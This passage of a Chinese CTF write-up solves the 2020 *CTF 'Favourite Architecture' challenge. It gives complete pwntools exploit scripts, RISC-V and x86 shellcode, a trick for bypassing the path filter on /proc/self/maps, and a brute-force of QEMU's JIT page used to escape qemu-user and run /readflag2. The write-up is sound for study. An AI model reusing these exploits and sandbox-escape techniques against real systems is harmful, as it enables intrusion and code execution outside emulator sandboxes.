li a0,-100
li a2,0
li a7, 56 # __NR_open

ecall
c.mv a2,a7
addi a7,a7,7

ecall
li a0, 1
addi a7,a7,1
ecall

最终的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# encoding=utf-8
from pwn import *

file_path = "./main"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process(["./qemu-riscv64", "-g", "1234", file_path])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('119.28.89.167', 60001)


stack = 0x4000800c70
nop = p32(0x00000013)


p.recvuntil("Input the flag: ")
payload = b"a"*0x118
payload += p64(stack)*2

shellcode = nop * 0xd0
shellcode += p32(0x676175b7) + p32(0xc665859b) + p32(0x00b13223)
shellcode += p16(0x004c) + p32(0xf9c00513) + p16(0x4601)
shellcode += p32(0x03800893) + p32(0x00000073) + p16(0x8646)
shellcode += p16(0x089d) + p32(0x00000073) + p16(0x4505) + p16(0x0885) + p32(0x00000073)

payload += shellcode

p.sendline(payload)

p.interactive()

这里看了大佬的博客,其用到了一种非常稳定的方法做到了任意代码执行,其找到了一段gadget

1
2
3
00010442 93 07 84 ed     addi       a5,s0,-0x128
00010446 3e 85 c.mv a0,a5
00010448 ef 60 20 61 jal ra,read

这一段,由于我们可以控制s0,ra寄存器,因此我们可以直接将返回地址覆写为该段代码的起始地址,并将s0设置为bss+0x128这样就可以将a0设置为bss段的地址,就可以向bss中读取任意长度的代码,之后函数返回的时候直接将返回地址设置为bss段的地址,就可以非常稳定的执行代码了,这里不用猜远端的stack地址和添加滑板指令。

Favourite Architecure flag2

qemu逃逸

这里第二个flag:/flag400权限的,也就是只有root用户可以读,或者运行readflag2这个程序,很明显这里我们直接调用readflag2这个程序。但是栈溢出之后我们虽然做到了任意的代码执行,但是程序给出了系统调用的白名单,因此我们需要利用这些系统调用逃逸出qemu,调用readflag2这个程序。

这里一开始想到的是通过读取/proc/self/maps得到qemu代码段的地址,利用mprotect更改其权限为可写,将patch后的代码改回来,使其可以正常的进行系统调用,但是qemu似乎有特殊的机制,在其内部读取/proc/self/maps的时候只能显示出进程相关的地址,而qmeu的地址无法显示出来,因此无法直接获取得到地址。

这里之后看了clang大佬的博客,qemu这一部分的源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
static int do_openat(void *cpu_env, int dirfd, const char *pathname, int flags, mode_t mode)
{
struct fake_open {
const char *filename;
int (*fill)(void *cpu_env, int fd);
int (*cmp)(const char *s1, const char *s2);
};
const struct fake_open *fake_open;
static const struct fake_open fakes[] = {
{ "maps", open_self_maps, is_proc_myself },
{ "stat", open_self_stat, is_proc_myself },
{ "auxv", open_self_auxv, is_proc_myself },
{ "cmdline", open_self_cmdline, is_proc_myself },
#if defined(HOST_WORDS_BIGENDIAN) != defined(TARGET_WORDS_BIGENDIAN)
{ "/proc/net/route", open_net_route, is_proc },
#endif
{ NULL, NULL, NULL }
};

if (is_proc_myself(pathname, "exe")) {
int execfd = qemu_getauxval(AT_EXECFD);
return execfd ? execfd : safe_openat(dirfd, exec_path, flags, mode);
}

for (fake_open = fakes; fake_open->filename; fake_open++) {
if (fake_open->cmp(pathname, fake_open->filename)) {
break;
}
}
//...
}
static int is_proc_myself(const char *filename, const char *entry)
{
if (!strncmp(filename, "/proc/", strlen("/proc/"))) {
filename += strlen("/proc/");
if (!strncmp(filename, "self/", strlen("self/"))) {
filename += strlen("self/");
} else if (*filename >= '1' && *filename <= '9') {
char myself[80];
snprintf(myself, sizeof(myself), "%d/", getpid());
if (!strncmp(filename, myself, strlen(myself))) {
filename += strlen(myself);
} else {
return 0;
}
} else {
return 0;
}
if (!strcmp(filename, entry)) {
return 1;
}
}
return 0;
}

看函数逻辑,这里只需要绕过is_proc_myself函数的路径判断即可读取全部的内容,这里采用的是路径是/./proc/self/maps。读取路径完毕之后,即获取了glibc的地址和qemu的基址,选择修改mprotect函数的got表为system

这里的方法其实是有点巧妙的。首先是mprotect(ro_mem, len, 6)即将ro_mem这一段修改为可写属性,之后修改mprotectgot表为system,之后修改ro_mem处为/bin/sh,接着再次调用mprotect(ro_mem, len, 6)即可getshell

大佬的wp思路如下,首先在外部看一下vmmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwn@eebb5d553168:/$ cat /proc/42/maps
00010000-0006c000 r--p 00000000 00:50 8532122 /home/pwn/main
0006c000-0006f000 rw-p 0005b000 00:50 8532122 /home/pwn/main
0006f000-00071000 rw-p 00000000 00:00 0
4000000000-4000001000 ---p 00000000 00:00 0
4000001000-4000801000 rw-p 00000000 00:00 0
562f43f38000-562f443a1000 r-xp 00000000 00:50 8532123 /home/pwn/qemu-riscv64
562f445a0000-562f445dc000 r--p 00468000 00:50 8532123 /home/pwn/qemu-riscv64
562f445dc000-562f44608000 rw-p 004a4000 00:50 8532123 /home/pwn/qemu-riscv64
562f44608000-562f44625000 rw-p 00000000 00:00 0
562f45060000-562f450e6000 rw-p 00000000 00:00 0 [heap]
7fd134000000-7fd13bfff000 rwxp 00000000 00:00 0
7fd13bfff000-7fd13c000000 ---p 00000000 00:00 0
7fd13c000000-7fd13c021000 rw-p 00000000 00:00 0

这里我们看到存在一个rwx的段,即代码可执行。应该是qemu JIT Code的部分,我们将shellcode写入此处,使得qemu执行这一部分的代码。这里和之前的mmap爆破类似,这里我们利用mprotect来爆破得到rwx段的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
size_t test_map() {
size_t va = 0x7f0000000000;
size_t inc = 0x000004000000;
int res;
while (1) {
// 这里添加+0x4000即offset的原因是防止破坏原本的jit code
res = mprotect(va+0x4000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC);
if (res >= 0) {
printf("find: %lx\n", va);

break;
}
va += inc;
}
return va;
}

之所以起始地址设置为va+0x4000是要避开qemu本身的JIT Code。在得到rwx段的地址我们将shellcode写入JIT Code的部分。shellcode是打印出here字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdlib.h>
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <string.h>

void breakpoint() {
getchar();
}

// echo here shellcode
char sc[] = {0x68, 0x68, 0x65, 0x72, 0x65, 0x6a, 0x1, 0x58, 0x6a, 0x1, 0x5f, 0x6a, 0x4, 0x5a, 0x48, 0x89, 0xe6, 0xf, 0x5, 0x5d, 0x5d};

void * VA;

size_t test_map() {
size_t va = 0x7f0000000000;
size_t inc = 0x000004000000;
int res;
while (1) {
res = mprotect(va+0x4000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC);
if (res >= 0) {
printf("find: %lx\n", va);
break;
}
va += inc;
}
return va;
}

int main() {
int res = 0;
int pid;
char *addr;
char buf[0x100];

memset(buf, 0x90, 0x100);
memcpy(buf+0x10, sc, strlen(sc));
addr = (char *)test_map();
fflush(0);
breakpoint();
memcpy(addr, sc, strlen(sc));
// memset(addr, 0xcc, 100);
return 0;
}

之后我们编译这段代码,用qemu执行一下。

riscv交叉编译环境搭建

这里按照github上编译出来的二进制程序存在一定的问题,当我们编译上述代码的时候会报错sys/mman.h找不到。

1
apt-get install git build-essential gdb-multiarch gcc-riscv64-linux-gnu binutils-riscv64-linux-gnu

静态编译上述的代码

1
riscv64-linux-gnu-gcc -static brute_test.c -o brute_test

使用qemu运行编译好的静态程序。

1
2
3
4
5
6
root@1c877093faab:~/work/2020starctf/favourite_architecture# ./qemu-riscv64 brute_test
[!] 80 bad system call
find: 7fc23c000000
[!] 80 bad system call

hereSegmentation fault

可以看到成功打印出了here字符串,但是这里有一个问题,就是memcpy虽然拷贝的是sc数组中值,但是如果我们将buf删除或者将sc拷贝到buf中的语句删掉执行就不会成功,不知道是什么问题。

这里执行成功之后,我们就可以将shellcode直接覆写到jit code page中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# riscv64-linux-gnu-as orw_flag2.asm -o orw_flag2
# riscv64-linux-gnu-objcopy -S -O binary -j .text orw_flag2 orw_flag2.bin

_start:

li a3, 0x7f0000000000 # base
li a4, 0x000004000000 # inc
li a5, 0xf000 # offset
loop:
add a0, a3, a5
li a1, 0x1000
li a2, 7
li a7, 226 # mprotect
ecall

beq a0, zero, succ
add a3, a3, a4
j loop

succ:
# try output a3
li a1, 0x6f200
sd a3, 0(a1)
li a0, 1
li a2, 0x10
li a7, 64 # write
ecall
# rwx page at a3
# read(0, a3, 0x200)
li a0, 0
li a1, 0x6f200 # x86 sc buf
li a2, 0x200

li a7, 63 # read
ecall

# copy from 0x70000 to a3
addi a3, a3, 0x200 #22c
addi a1, a1, 0x200
li a2, 0x80
copy:
ld a5, 0(a1)
sd a5, 0(a3)
addi a1, a1, -4
addi a3, a3, -4
beq a2, zero, finish
addi a2, a2, -1
j copy

finish:
li a7, 93 # exit
ecall

这段shellcode的作用就是爆破出jit code page address之后,调用read读取我们输入的execve("/readflag2") x86 shellcodebss段中,之后将其拷贝到jit code page中。完成之后即可调用我们输入的x86 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# encoding=utf-8
from pwn import *

file_path = "./main"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process(["./qemu-riscv64", file_path])
# p = process(["./qemu-riscv64", "-g", "1234", file_path])
# gdb.attach(p)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
# p = remote('119.28.89.167', 60001)
p = remote('172.22.0.1', 60001)


bss = 0x0006edb0
call_read = 0x00010442
nop = p32(0x00000013)


p.recvuntil("Input the flag: ")
payload = b"a"*0x118 + p64(bss + 0x128) + p64(call_read)
payload += cyclic(0x1f8) + p64(bss)
p.sendline(payload)

shellcode = open("orw_flag2.bin", "rb").read()
p.sendline(shellcode)

p.recvuntil("You are wrong ._.\n")
p.recvuntil("You are wrong ._.\n")
jit_code_address = u64(p.recv(8))
log.success("jit code address is {}".format(hex(jit_code_address)))

orw_flag2 = b"\x90"*0x100
orw_flag2 += asm(shellcraft.linux.execve("/readflag2") + shellcraft.linux.exit())

orw_flag2 = orw_flag2.ljust(0x200, b"\x00")

p.send(orw_flag2)

p.interactive()